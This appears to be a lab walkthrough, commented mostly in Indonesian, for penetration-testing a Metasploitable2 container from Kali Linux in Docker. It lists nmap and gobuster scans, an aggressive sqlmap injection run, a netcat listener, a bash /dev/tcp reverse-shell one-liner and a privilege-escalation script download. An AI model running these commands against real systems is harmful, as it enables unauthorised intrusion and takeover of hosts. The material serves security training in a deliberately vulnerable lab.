#Conduct Web Application Penetration Testing with Nmap
#Setting up the Environment
# pull image untuk kali linux
docker pull kalilinux/kali-rolling
# cek image kali linux
docker image ls
#download image metasploit 2
docker pull tleemcjr/metasploitable2
#jalankan container metasploitable2
sudo docker run --network=host -h victim -it --rm --name metasploitable2 tleemcjr/metasploitable2
#jalankan container kali linux
#jalankan perintah di kali linux dengan masuk ke shell container kali linux
sudo docker run --network=host -h attacker -it --rm --name kalibox kalilinux/kali-rolling
#jalankan container kali linux dengan network host dan masuk ke shell container kali linux
docker exec -ti c5901ad350ca bash
#install aplikasi di bawah ini
apt update
apt install net-tools
apt install nmap

#install di attacker/kalilinux
apt install metasploit-framework

#Reconnaissance and Information Gathering
nmap -sV -sC -oN nmap_scan.txt (ip container metasploitable2)
#buka file nmap_scan.txt
cat nmap_scan.txt
#gunakan aplikasi gobuster
gobuster dir -u http://192.168.122.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_scan.txt

#Exploiting Vulnerabilities
#Vulnerabilities scan dengan web application yaitu sql injection menggunakan sqlmap
sqlmap -u http://192.168.122.102/vulnerable_page.php --batch --risk=3 --level=5 --random-agent --dbs

#Post-Exploitation and Privilege Escalation
#reverse shell is to use the netcat utility
nc -lvnp 4444
#This command will listen on port 4444 for incoming connections.
#On the target system, execute the following command to establish a reverse shell:
bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'
#privilege escalation vulnerabilities using the linux-exploit-suggester tool:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt